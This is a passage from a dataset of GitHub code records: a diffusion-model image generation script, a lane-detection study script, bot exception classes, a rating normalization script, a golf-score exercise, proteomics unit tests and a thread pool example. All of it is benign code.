next_image.cpu().numpy()\n\n# Plotting\nplt.figure(figsize=(8, 4))\n\n# Plotting the first image\nplt.subplot(1, 3, 1)\nplt.imshow(prev_image_np, cmap='gray') # Assuming images are grayscale\nplt.title('Previous Image')\nplt.axis('off')\n\n# Plotting the second image\nplt.subplot(1, 3, 2)\nplt.imshow(current_image_np, cmap='gray') # Assuming images are grayscale\nplt.title('Current Image')\nplt.axis('off')\n\n# Plotting the third image\nplt.subplot(1, 3, 3)\nplt.imshow(next_image_np, cmap='gray') # Assuming images are grayscale\nplt.title('Next Image')\nplt.axis('off')\n\n# Save the second set of figures\nimage_fig_path = filename+'_original.png'\nplt.savefig(image_fig_path, bbox_inches='tight', pad_inches=0.1)\nplt.close() # Close the figure\n\n\n## SSIM\n\nprint(f\"SSIM of Previous image and generated: {mean_ssim(prev_image_np, samples)}\")\nprint(f\"SSIM of Current image and generated: {mean_ssim(current_image_np, samples)}\")\nprint(f\"SSIM of Next image and generated: {mean_ssim(next_image_np, samples)}\")\n\n\n## FUNCTIONS\n\nclass GaussianFourierProjection(nn.Module):\n \"\"\"Gaussian random features for encoding time steps.\"\"\"\n def __init__(self, embed_dim, scale=30.):\n super().__init__()\n # Randomly sample weights during initialization. These weights are fixed\n # during optimization and are not trainable.\n self.W = nn.Parameter(torch.randn(embed_dim // 2) * scale, requires_grad=False)\n def forward(self, x):\n x_proj = x[:, None] * self.W[None, :] * 2 * np.pi\n return torch.cat([torch.sin(x_proj), torch.cos(x_proj)], dim=-1)\n\n\nclass Dense(nn.Module):\n \"\"\"A fully connected layer that reshapes outputs to feature maps.\"\"\"\n def __init__(self, input_dim, output_dim):\n super().__init__()\n self.dense = nn.Linear(input_dim, output_dim)\n def forward(self, x):\n return self.dense(x)[..., None, None]\n\n\nclass ScoreNet(nn.Module):\n \"\"\"A time-dependent score-based model built upon U-Net architecture.\"\"\"\n\n def __init__(self, marginal_prob_std, channels=[32, 64, 128, 256], embed_dim=256):\n \"\"\"Initialize a time-dependent score-based network.\n\n Args:\n marginal_prob_std: A function that takes time t and gives the standard\n deviation of the perturbation kernel p_{0t}(x(t) | x(0)).\n channels: The number of channels for feature maps of each resolution.\n embed_dim: The dimensionality of Gaussian random feature embeddings.\n \"\"\"\n super().__init__()\n # Gaussian random feature embedding layer for time\n self.embed = nn.Sequential(GaussianFourierProjection(embed_dim=embed_dim),\n nn.Linear(embed_dim, embed_dim))\n # Encoding layers where the resolution decreases\n self.conv1 = nn.Conv2d(3, channels[0], 3, stride=1, bias=False)\n self.dense1 = Dense(embed_dim, channels[0])\n self.gnorm1 = nn.GroupNorm(4, num_channels=channels[0])\n self.conv2 = nn.Conv2d(channels[0], channels[1], 3, stride=2, bias=False)\n self.dense2 = Dense(embed_dim, channels[1])\n self.gnorm2 = nn.GroupNorm(32, num_channels=channels[1])\n self.conv3 = nn.Conv2d(channels[1], channels[2], 3, stride=2, bias=False)\n self.dense3 = Dense(embed_dim, channels[2])\n self.gnorm3 = nn.GroupNorm(32, num_channels=channels[2])\n self.conv4 = nn.Conv2d(channels[2], channels[3], 3, stride=2, bias=False)\n self.dense4 = Dense(embed_dim, channels[3])\n self.gnorm4 = nn.GroupNorm(32, num_channels=channels[3])\n\n # Decoding layers where the resolution increases\n self.tconv4 = nn.ConvTranspose2d(channels[3], channels[2], 3, stride=2, bias=False, output_padding=1)\n self.dense5 = Dense(embed_dim, channels[2])\n self.tgnorm4 = nn.GroupNorm(32, num_channels=channels[2])\n self.tconv3 = nn.ConvTranspose2d(channels[2] + channels[2], channels[1], 3, stride=2, bias=False, output_padding=1)\n self.dense6 = Dense(embed_dim, channels[1])\n self.tgnorm3 = nn.GroupNorm(32, num_channels=channels[1])\n self.tconv2 = nn.ConvTranspose2d(channels[1] + channels[1], channels[0], 3, stride=2, bias=False, output_padding=1)\n self.dense7 = Dense(embed_dim, channels[0])\n self.tgnorm2 = nn.GroupNorm(32, num_channels=channels[0])\n self.tconv1 = nn.ConvTranspose2d(channels[0] + channels[0], 3, 3, stride=1)\n\n # The swish activation function\n self.act = lambda x: x * torch.sigmoid(x)\n self.marginal_prob_std = marginal_prob_std\n\n def forward(self, x, t):\n embed = self.act(self.embed(t))\n\n # Encoding path\n h1 = self.conv1(x)\n h1 += self.dense1(embed)\n h1 = self.gnorm1(h1)\n h1 = self.act(h1)\n\n h2 = self.conv2(h1)\n h2 += self.dense2(embed)\n h2 = self.gnorm2(h2)\n h2 = self.act(h2)\n\n h3 = self.conv3(h2)\n h3 += self.dense3(embed)\n h3 = self.gnorm3(h3)\n h3 = self.act(h3)\n\n h4 = self.conv4(h3)\n h4 += self.dense4(embed)\n h4 = self.gnorm4(h4)\n h4 = self.act(h4)\n\n # Decoding path\n h = self.tconv4(h4)\n h += self.dense5(embed)\n h = self.tgnorm4(h)\n h = self.act(h)\n\n h = self.tconv3(torch.cat([h, h3], dim=1))\n h += self.dense6(embed)\n h = self.tgnorm3(h)\n h = self.act(h)\n\n h = self.tconv2(torch.cat([h, h2], dim=1))\n h += self.dense7(embed)\n h = self.tgnorm2(h)\n h = self.act(h)\n\n h = self.tconv1(torch.cat([h, h1], dim=1))\n\n h = h / self.marginal_prob_std(t)[:, None, None, None]\n return h\n\n\ndef marginal_prob_std(t, sigma):\n \"\"\"Compute the mean and standard deviation of $p_{0t}(x(t) | x(0))$.\n\n Args:\n t: A vector of time steps.\n sigma: The $\\sigma$ in our SDE.\n\n Returns:\n The standard deviation.\n \"\"\"\n t = torch.tensor(t, device=device)\n return torch.sqrt((sigma**(2 * t) - 1.) / 2. / np.log(sigma))\n\n\ndef diffusion_coeff(t, sigma):\n \"\"\"Compute the diffusion coefficient of our SDE.\n\n Args:\n t: A vector of time steps.\n sigma: The $\\sigma$ in our SDE.\n\n Returns:\n The vector of diffusion coefficients.\n \"\"\"\n return torch.tensor(sigma**t, device=device)\n\n\ndef loss_fn(model, x, marginal_prob_std, eps=1e-5):\n \"\"\"The loss function for training score-based generative models.\n\n Args:\n model: A PyTorch model instance that represents a\n time-dependent score-based model.\n x: A mini-batch of training data.\n marginal_prob_std: A function that gives the standard deviation of\n the perturbation kernel.\n eps: A tolerance value for numerical stability.\n \"\"\"\n random_t = torch.rand(x.shape[0], device=x.device) * (1. - eps) + eps\n z = torch.randn_like(x)\n\n std = marginal_prob_std(random_t)\n perturbed_x = x + z * std[:, None, None, None]\n score = model(perturbed_x, random_t)\n loss = torch.mean(torch.sum((score * std[:, None, None, None] + z)**2, dim=(1,2,3)))\n return loss\n\n\ndef ode_sampler(score_model,\n marginal_prob_std,\n diffusion_coeff,\n dataset,\n z_index,\n batch_size=64,\n atol=error_tolerance,\n rtol=error_tolerance,\n device='cuda',\n z=None,\n eps=1e-3):\n \"\"\"Generate samples from score-based models with black-box ODE solvers.\n\n Args:\n score_model: A PyTorch model that represents the time-dependent score-based model.\n marginal_prob_std: A function that returns the standard deviation\n of the perturbation kernel.\n diffusion_coeff: A function that returns the diffusion coefficient of the SDE.\n batch_size: The number of samplers to generate by calling this function once.\n atol: Tolerance of absolute errors.\n rtol: Tolerance of relative errors.\n device: 'cuda' for running on GPUs, and 'cpu' for running on CPUs.\n z: The latent code that governs the final sample. If None, we start from p_1;\n otherwise, we start from the given z.\n eps: The smallest time step for numerical stability.\n \"\"\"\n\n image_list, z_coord = dataset[z_index]\n prev_image = image_list[0]\n prev_image = prev_image.expand(batch_size, 1, -1, -1)\n prev_image = prev_image.to(device)\n next_image = image_list[2]\n next_image = next_image.expand(batch_size, 1, -1, -1)\n next_image = next_image.to(device)\n\n t = torch.ones(batch_size, device=device)\n\n # Create the latent code\n if z is None:\n noise = torch.randn(batch_size, 1, 32, 32, device=device) * marginal_prob_std(t)[:, None, None, None]\n init_x = torch.cat([prev_image, noise, next_image], dim=1)\n else:\n init_x = z\n\n shape = init_x.shape\n\n def score_eval_wrapper(sample, time_steps):\n \"\"\"A wrapper of the score-based model for use by the ODE solver.\"\"\"\n sample = torch.tensor(sample, device=device, dtype=torch.float32).reshape(shape)\n time_steps = torch.tensor(time_steps, device=device, dtype=torch.float32).reshape((sample.shape[0], ))\n with torch.no_grad():\n score = score_model(sample, time_steps)\n return score.cpu().numpy().reshape((-1,)).astype(np.float64)\n\n def ode_func(t, x):\n \"\"\"The ODE function for use by the ODE solver.\"\"\"\n time_steps = np.ones((shape[0],)) * t\n g = diffusion_coeff(torch.tensor(t)).cpu().numpy()\n return -0.5 * (g**2) * score_eval_wrapper(x, time_steps)\n\n # Run the black-box ODE solver.\n res = integrate.solve_ivp(ode_func, (1., eps), init_x.reshape(-1).cpu().numpy(), rtol=rtol, atol=atol, method='RK45')\n print(f\"Number of function evaluations: {res.nfev}\")\n x = torch.tensor(res.y[:, -1], device=device).reshape(shape)\n\n return x[:,1:2,:,:]\n\n\ndef calculate_ssim(image_1, image_2):\n # Convert PyTorch tensor to NumPy array if necessary\n if isinstance(image_2, torch.Tensor):\n image_2 = image_2.squeeze().detach().cpu().numpy()\n\n # Check if dimensions match\n if image_1.shape != image_2.shape:\n raise ValueError(\"The dimensions of the two images do not match.\")\n\n # Compute SSIM between two images\n ssim = compare_ssim(image_1, image_2)\n\n return ssim\n\n\ndef mean_ssim(image, samples): \n ssim = 0\n\n for sample in samples:\n ssim += calculate_ssim(image, sample)\n\n ssim = ssim/len(samples)\n return ssim","repo_name":"LinusJacobsson/generative-micro-ct","sub_path":"scripts/scripts_SDE/SDE_conditioned_generate.py","file_name":"SDE_conditioned_generate.py","file_ext":"py","file_size_in_byte":12488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8896278356","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 9 14:51:13 2017\r\n\r\n@author: HC\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.image as mpimg\r\nimport numpy as np\r\n\r\n# read in the image and print out some states\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/test.jpg\")\r\nprint('This image is: ', type(image), 'with dimensions: ',image.shape)\r\n\r\n# Grab the x and y size and make a copy of the image\r\nysize = image.shape[0]\r\nxsize = image.shape[1]\r\n\r\n#######################\r\n### Color Selection ###\r\n#######################\r\n\r\n# Note: always make a copy rather than simply using \"=\"\r\ncolor_select = np.copy(image)\r\n\r\n# Define color selection criteria\r\nred_threshold = 210\r\ngreen_threshold = 210\r\nblue_threshold = 210\r\nrgb_threshold = [red_threshold, green_threshold, blue_threshold]\r\n\r\n# Identify pixels below the threshold\r\nthresholds = (image[:,:,0] < rgb_threshold[0])\\\r\n |(image[:,:,1] < rgb_threshold[1])\\\r\n |(image[:,:,2] < rgb_threshold[2])\r\ncolor_select[thresholds] = [0,0,0]\r\n\r\n# Display the image\r\nplt.imshow(color_select)\r\nplt.show()\r\n\r\n# Change red_threshold, green_threshold and blue_threshold until enough desired imformation is retained.\r\n\r\n######################\r\n### Region Masking ###\r\n######################\r\n\r\nregion_select = np.copy(image)\r\n# Define a triangle region of interest\r\n# Keep in mind the origin (x = 0, y = 0) is in the upper left in the image processing\r\nleft_bottom = [0,539]\r\nright_bottom = [900,539]\r\napex = [400,300]\r\n\r\n# Fit lines (y = Ax + B) to identify the 3 sided region of interest\r\n# np.polyfit() returns the coefficients [A,B] of the fit\r\nfit_left = np.polyfit((left_bottom[0], apex[0]), (left_bottom[1], apex[1]), 1)\r\nfit_right = np.polyfit((right_bottom[0], apex[0]), (right_bottom[1], apex[1]), 1)\r\nfit_bottom = np.polyfit((left_bottom[0], right_bottom[0]), (left_bottom[1], right_bottom[1]), 1)\r\n\r\n# Find the region inside the lines\r\nXX, YY = np.meshgrid(np.arange(0,xsize), np.arange(0,ysize))\r\nregion_thresholds = (YY > (XX*fit_left[0] + fit_left[1])) &\\\r\n (YY > (XX*fit_right[0] + fit_right[1])) &\\\r\n (YY < (XX*fit_bottom[0] + fit_bottom[1]))\r\n \r\n# Color pixels red which are inside the region of interest\r\nregion_select[region_thresholds] = [255,0,0]\r\n\r\nplt.imshow(region_select)\r\n\r\n# change left_bottom, right_bottom, apex to see different results\r\n\r\n###########################################\r\n### Combine Color and Region Selections ###\r\n###########################################\r\n\r\ncolor_select= np.copy(image)\r\nline_image = np.copy(image)\r\n\r\n# Define our color criteria\r\nred_threshold = 210\r\ngreen_threshold = 210\r\nblue_threshold = 210\r\nrgb_threshold = [red_threshold, green_threshold, blue_threshold]\r\n\r\n# Define a triangle region of interest (Note: if you run this code, \r\n# Keep in mind the origin (x=0, y=0) is in the upper left in image processing\r\nleft_bottom = [0, 539]\r\nright_bottom = [900, 539]\r\napex = [450, 300]\r\n\r\nfit_left = np.polyfit((left_bottom[0], apex[0]), (left_bottom[1], apex[1]), 1)\r\nfit_right = np.polyfit((right_bottom[0], apex[0]), (right_bottom[1], apex[1]), 1)\r\nfit_bottom = np.polyfit((left_bottom[0], right_bottom[0]), (left_bottom[1], right_bottom[1]), 1)\r\n\r\n# Mask pixels below the threshold\r\ncolor_thresholds = (image[:,:,0] < rgb_threshold[0]) | \\\r\n (image[:,:,1] < rgb_threshold[1]) | \\\r\n (image[:,:,2] < rgb_threshold[2])\r\n\r\n# Find the region inside the lines\r\nXX, YY = np.meshgrid(np.arange(0, xsize), np.arange(0, ysize))\r\nregion_thresholds = (YY > (XX*fit_left[0] + fit_left[1])) & \\\r\n (YY > (XX*fit_right[0] + fit_right[1])) & \\\r\n (YY < (XX*fit_bottom[0] + fit_bottom[1]))\r\n \r\n# Mask color selection\r\ncolor_select[color_thresholds] = [0,0,0]\r\n\r\n# Find where image is both colored right and in the region\r\nline_image[~color_thresholds & region_thresholds] = [255,0,0]\r\n\r\n# Display our two output images\r\nplt.imshow(image)\r\nx = [left_bottom[0], right_bottom[0], apex[0], left_bottom[0]]\r\ny = [left_bottom[1], right_bottom[1], apex[1], left_bottom[1]]\r\nplt.plot(x, y, 'b--', lw=4)\r\n\r\nplt.imshow(color_select)\r\nplt.imshow(line_image)\r\n\r\n############################\r\n### Canny Edge Detection ###\r\n############################\r\n\r\n# import an image\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/exit-ramp.jpg\")\r\nplt.imshow(image)\r\n\r\nimport cv2 # bringing in OpenCV libraries\r\ngray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) # grayscale conversion\r\nplt.imshow(gray, cmap = 'gray')\r\n\r\n# Define a kernel size for Gaussian smoothing / blurring\r\n# Note: this step is optional as cv2.Canny() applies a 5x5 Gaussian internally\r\nkernel_size = 3\r\nblur_gray = cv2.GaussianBlur(gray,(kernel_size, kernel_size), 0)\r\n\r\n# Define parameters for Canny and run it\r\n# NOTE: if you try running this code you might want to change these!\r\nlow_threshold = 50\r\nhigh_threshold = 150\r\nedges = cv2.Canny(blur_gray, low_threshold, high_threshold)\r\n\r\n# Display the image\r\nplt.imshow(edges, cmap='Greys_r')\r\n\r\n#####################################\r\n### Hough Transform to Find Lines ###\r\n#####################################\r\n\r\n# read in and grayscale the image\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/exit-ramp.jpg\")\r\ngray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\r\nplt.imshow(gray)\r\n# define a kernel size and apply Gaussian smoothing\r\nkernel_size = 5\r\nblur_gray = cv2.GaussianBlur(gray, (kernel_size, kernel_size), 0)\r\n\r\n# define parameters for Canny and apply\r\nlow_threshold = 50\r\nhigh_threshold = 150\r\nedges = cv2.Canny(blur_gray, low_threshold, high_threshold)\r\n\r\n# define the Hough transform parameters\r\n# make a blank the same size as the image to draw on \r\nrho = 1\r\ntheta = np.pi/180\r\nthreshold = 1\r\nmin_line_length = 40\r\nmax_line_gap = 1\r\nline_image = np.copy(image)*0 # create a blank to draw lines on\r\n\r\n# run Hough on edge detected image\r\nlines = cv2.HoughLinesP(edges, rho, theta, threshold, np.array([]),\r\n min_line_length, max_line_gap)\r\n\r\n# draw lines on the blank \r\nfor line in lines:\r\n for x1,y1,x2,y2 in line:\r\n cv2.line(line_image, (x1,y1),(x2,y2), (255,0,0),10)\r\nplt.imshow(line_image)\r\n\r\n# create a 'color' binary image to combine with line image \r\ncolor_edges = np.dstack((edges, edges, edges))\r\n\r\n# draw the line on the edge image\r\ncombo = cv2.addWeighted(color_edges, 0.8, line_image, 1, 0)\r\nplt.imshow(combo)\r\n\r\n\r\n###################################\r\n### Add Mask to Hough Transform ###\r\n###################################\r\n\r\n# read in and grayscale the image\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/exit-ramp.jpg\")\r\ngray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\r\nplt.imshow(gray)\r\n# define a kernel size and apply Gaussian smoothing\r\nkernel_size = 5\r\nblur_gray = cv2.GaussianBlur(gray, (kernel_size, kernel_size), 0)\r\n\r\n# define parameters for Canny and apply\r\nlow_threshold = 50\r\nhigh_threshold = 150\r\nedges = cv2.Canny(blur_gray, low_threshold, high_threshold)\r\n\r\n# before implementing the Hough transform, we first create a maked edges image using cv2.fillPoly()\r\nmask = np.zeros_like(edges)\r\nignore_mask_color = 255\r\n\r\nimage_shape = image.shape\r\nvertices = np.array([[(0,image_shape[0]),(450,300),(500,300), (image_shape[1], image_shape[0])]], \r\n dtype = np.int32)\r\ncv2.fillPoly(mask, vertices, ignore_mask_color)\r\nmasked_edges = cv2.bitwise_and(edges, mask)\r\n#plt.imshow(masked_edges)\r\n\r\n#X = [0,450,500,image_shape[1]]\r\n#Y = [image_shape[0],300,300,image_shape[0]]\r\n#plt.plot(X, Y, 'b--', lw=4)\r\n\r\n# define the Hough transform parameters\r\n# make a blank the same size as the image to draw on \r\nrho = 1 # distance resolution\r\ntheta = np.pi/180 # angular resolution\r\nthreshold = 15 # minimum number of votes\r\nmin_line_length = 40 # minimum number of pixels making up a line\r\nmax_line_gap = 20 # maximum gap in pixels between connectable lien segments\r\nline_image = np.copy(image)*0 # create a blank to draw lines on\r\n\r\n# run Hough on edge detected image\r\nlines = cv2.HoughLinesP(masked_edges, rho, theta, threshold, np.array([]),\r\n min_line_length, max_line_gap)\r\n\r\n# draw lines on the blank \r\nfor line in lines:\r\n for x1,y1,x2,y2 in line:\r\n cv2.line(line_image, (x1,y1),(x2,y2), (255,0,0),10)\r\nplt.imshow(line_image)\r\n\r\n# create a 'color' binary image to combine with line image \r\ncolor_edges = np.dstack((edges, edges, edges))\r\n\r\n# draw the line on the edge image\r\ncombo = cv2.addWeighted(color_edges, 0.8, line_image, 1, 0)\r\nplt.imshow(combo)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"c-huang-tty/Self-driving-Car-Projects","sub_path":"CarND-LaneDetection-Basics/LaneDetection-Study_Notes/LaneDetection.py","file_name":"LaneDetection.py","file_ext":"py","file_size_in_byte":8625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"71464813674","text":"from app.database import Users\nfrom app.utils.translator import _\n\n\nclass BotInteractionError(Exception):\n def __init__(self, user: Users, text: str):\n self.user = user\n self.text = text\n super(BotInteractionError, self).__init__(text)\n\n\nclass AccessError(BotInteractionError):\n pass\n\n\nclass MissingArgumentsError(BotInteractionError):\n def __init__(self, user: Users, missing_args):\n self.missing_args = missing_args\n super(MissingArgumentsError, self).__init__(\n user,\n _('Command arguments is missing: {args}',\n user=user).format(args=\", \".join(missing_args))\n )\n\n\nclass TargetNotExistsError(BotInteractionError):\n def __init__(self, user: Users, target: str):\n self.target = target\n super(TargetNotExistsError, self).__init__(\n user,\n _('Target does not exists: {target}', user=user).format(target=target)\n )\n\n\nclass FileDoesNotExists(BotInteractionError):\n def __init__(self, user: Users, path: str):\n self.path = path\n super(FileDoesNotExists, self).__init__(\n user,\n _('File {path} does not exists!', user=user).format(path=path)\n )\n","repo_name":"CrazyProger1/PC-Alarm","sub_path":"app/exceptions/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"40414588812","text":"import numpy as np\n\nfp = open(\"inliers\", \"rb\")\ndata = np.load(fp, allow_pickle=True)\n\n# 4 features: rating, numOfRatings, popularity, gross\nnumOfRatings = data[:, 0]\nnumOfRatings = numOfRatings[0]\nmaxNumOfRatings = np.amax(numOfRatings)\nminNumOfRatings = np.amin(numOfRatings)\n\npopularity = data[:, 0]\npopularity = popularity[1]\nmaxPopularity = np.amax(popularity)\nminPopularity = np.amin(popularity)\n\ngross = data[:, 0]\ngross = gross[2]\nmaxGross = np.amax(gross)\nminGross = np.amin(gross)\n\nrating = data[:, 1]\nmaxRating = np.amax(rating)\nminRating = np.amin(rating)\n\n# normalize data (between 0 and 1, inclusive)\n# xnorm = (xi - xmin) / (xmax - xmin)\nfor i in range(len(data)):\n data[i][0][0] = (data[i][0][0] - minNumOfRatings) / (maxNumOfRatings - minNumOfRatings)\n data[i][0][1] = (data[i][0][1] - minPopularity) / (maxPopularity - minPopularity)\n data[i][0][2] = (data[i][0][2] - minGross) / (maxGross - minGross)\n data[i][1] = (data[i][1] - minRating) / (maxRating - minRating)\n\nfp = open(\"normalized\", \"wb\")\nnp.save(fp, data)\nfp.close()\n\nprint(data)","repo_name":"kkprep/movie-recommender","sub_path":"src/normalization.py","file_name":"normalization.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"12382851917","text":"#Taru Mishra, tm36775\n#10-24-22\n#This code will take in the pars and strokes from the user and output the score\npar = int(input(\"Enter a par value: \")) #stores the par value from user as an int\nstrokes = int(input(\"Enter the strokes value: \")) #stores the strokes value from user as an int\n\nif (par <3) or (par >5): #If statement checks to see if par is less than 3 or more than 5\n print(\"Error. Make sure par is 3,4, or 5\") #Outputs the error statement.\nelse: #Else statement executes if the above condition is not met\n if strokes == (par-2): #given the else condition that strokes = par -2\n print(\"Eagle\") #Print statement outputs Eagle\n elif strokes == (par-1): #given the else condition that strokes = par -1\n print(\"Birdie\") #Print statement outputs Birdie\n elif par == strokes: #given the else condition that strokes = par\n print(\"Par\") #Print statement outputs Par\n elif strokes == par + 1: #given the else condition that strokes = par + 1\n print(\"Bogey\") #Print statement outputs Bogey\n else: #If none of the elif conditions within the else are met, then a statement saying that there is an error will execute\n print(\"there is an error\")\n","repo_name":"tarumishra9498/Taru-s_Code_Assignments-Projects","sub_path":"BME303_Lab6_P4_TaruMishra-1 (1).py","file_name":"BME303_Lab6_P4_TaruMishra-1 (1).py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"9158020736","text":"# test module: test_novelsplices.py\n# main program: samplespecificdbgenerator.py\n\nimport unittest\nimport novelsplices\nimport refparse\nimport BedEntry\nfrom lxml import etree as et\n\nHTML_NS = \"http://uniprot.org/uniprot\"\nXSI_NS = \"http://www.w3.org/2001/XMLSchema-instance\"\nNAMESPACE_MAP = {None:HTML_NS, \"xsi\":XSI_NS}\nUP = '{'+HTML_NS+'}'\n\nclass Test_enter_seqvar(unittest.TestCase):\n def setUp(self):\n self.root = et.Element(UP+'uniprot', nsmap=NAMESPACE_MAP)\n self.db = et.ElementTree(self.root)\n\n def test_enter_seqvar(self):\n novelsplices.enter_seqvar(self.root, \">accession\", \"peptide:seqtype\", \"chromosome\", \"full name\", \"loci\", \"score\", \"geneId\", \"transcriptId\", \"seq\\nuence\")\n self.assertNotEqual(self.root[0].find(UP+'accession'), None)\n self.assertTrue(self.root[0].find(UP+'accession').text not in [None, ''])\n self.assertNotEqual(self.root[0].find(UP+'name'), None)\n self.assertTrue(self.root[0].find(UP+'name').text not in [None, ''])\n self.assertNotEqual(self.root[0].find(UP+'protein').find(UP+'recommendedName').find(UP+'fullName'), None)\n self.assertTrue(self.root[0].find(UP+'protein').find(UP+'recommendedName').find(UP+'fullName').text not in [None, ''])\n self.assertNotEqual(self.root[0].find(UP+'organism'), None)\n self.assertNotEqual(self.root[0].find(UP+'proteinExistence'), None)\n self.assertNotEqual(self.root[0].find(UP+'proteinExistence').find(UP+'depth'), None)\n self.assertNotEqual(self.root[0].find(UP+'sequence'), None)\n self.assertTrue(self.root[0].find(UP+'sequence').text not in [None, ''])\n self.assertTrue(self.root[0].find(UP+'sequence').text.find('\\n') < 0)\n \nclass Test_generate_tryptic_peptides(unittest.TestCase):\n def test_no_k_or_r(self):\n result = novelsplices.generate_tryptic_peps(\"AAA\")\n self.assertEqual(result, [\"AAA\"])\n\n def test_k_nterminus(self):\n result = novelsplices.generate_tryptic_peps(\"KAAA\")\n self.assertEqual(result, [\"K\", \"AAA\"])\n \n def test_k_cterminus(self):\n result = novelsplices.generate_tryptic_peps(\"AAAK\")\n self.assertEqual(result, [\"AAAK\"])\n \n def test_r_nterminus(self):\n result = novelsplices.generate_tryptic_peps(\"RAAA\")\n self.assertEqual(result, [\"R\", \"AAA\"])\n \n def test_r_cterminus(self):\n result = novelsplices.generate_tryptic_peps(\"AAAR\")\n self.assertEqual(result, [\"AAAR\"])\n \n def test_internal_k_split(self):\n result = novelsplices.generate_tryptic_peps(\"KAAKAAAK\")\n self.assertEqual(result, [\"K\", \"AAK\", \"AAAK\"])\n \n def test_internal_r_split(self):\n result = novelsplices.generate_tryptic_peps(\"RAARAAAR\")\n self.assertEqual(result, [\"R\", \"AAR\", \"AAAR\"])\n \n def test_mix_split(self):\n result = novelsplices.generate_tryptic_peps(\"KARAAKAAARAAAAKAAAAA\")\n self.assertEqual(result, [\"K\", \"AR\", \"AAK\", \"AAAR\", \"AAAAK\", \"AAAAA\"])\n \n def test_all_amino_acids(self):\n result = novelsplices.generate_tryptic_peps(\"FLSYCWPHQRIMTNKVADEG\")\n self.assertEqual(result, [\"FLSYCWPHQR\", \"IMTNK\", \"VADEG\"])\n \n def test_non_standard_amino_acid(self):\n result = novelsplices.generate_tryptic_peps(\"X\")\n self.assertEqual(result, [\"X\"])\n \nclass Test_update_tryptic_peptide_chromosome_indices(unittest.TestCase):\n def setUp(self):\n self.trypFragIndex = 10\n self.exon1Right = 20 \n self.exon2Left = 100\n self.peptide = \"AAAAA\" #5mer -> 15 nts; should end at 24\n \n #No boundary crossing\n def test_update_index_within_exon1(self):\n trypFragIndex = 10\n exon1Right = 20 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n def test_update_index_2_before_exon1_right_boundary(self):\n trypFragIndex = 10\n exon1Right = 15 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n def test_update_index_1_before_exon1_right_boundary(self):\n trypFragIndex = 10\n exon1Right = 14 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n def test_update_index_up_to_exon1_right_boundary(self):\n trypFragIndex = 10\n exon1Right = 13 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n #Crossing boundary\n def test_update_index_crossing_boundary(self):\n trypFragIndex = 10\n exon1Right = 13 \n exon2Left = 100\n peptide = \"AA\" #[10,11,12],[13,100,101],102\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 102)\n \n def test_update_index_1_more_than_boundary(self):\n trypFragIndex = 10\n exon1Right = 12 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],100\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 100)\n \n def test_update_index_2_more_than_boundary(self):\n trypFragIndex = 10\n exon1Right = 11 \n exon2Left = 100\n peptide = \"A\" #[10,11,100],101\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 101)\n\nif __name__ == '__main__':\n unittest.main()\n\n","repo_name":"smith-chem-wisc/SampleSpecificDBGenerator","sub_path":"tests/test_novelsplices.py","file_name":"test_novelsplices.py","file_ext":"py","file_size_in_byte":5976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"40558016921","text":"#!/usr/bin/env python3\nfrom concurrent.futures import ThreadPoolExecutor\n\npool = ThreadPoolExecutor(max_workers=8)\n\ndef func(x, y):\n import time\n time.sleep(1)\n return x + y\ndef result_handler(fut):\n result = fut.result()\n print('Got:', result)\ndef run():\n fut = pool.submit(func, 2, 3)\n fut.add_done_callback(\n result_handler\n )\nrun()\nprint(\"DONE\")\n","repo_name":"pimiento/coroutines_and_asyncio_webinar","sub_path":"async.py","file_name":"async.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
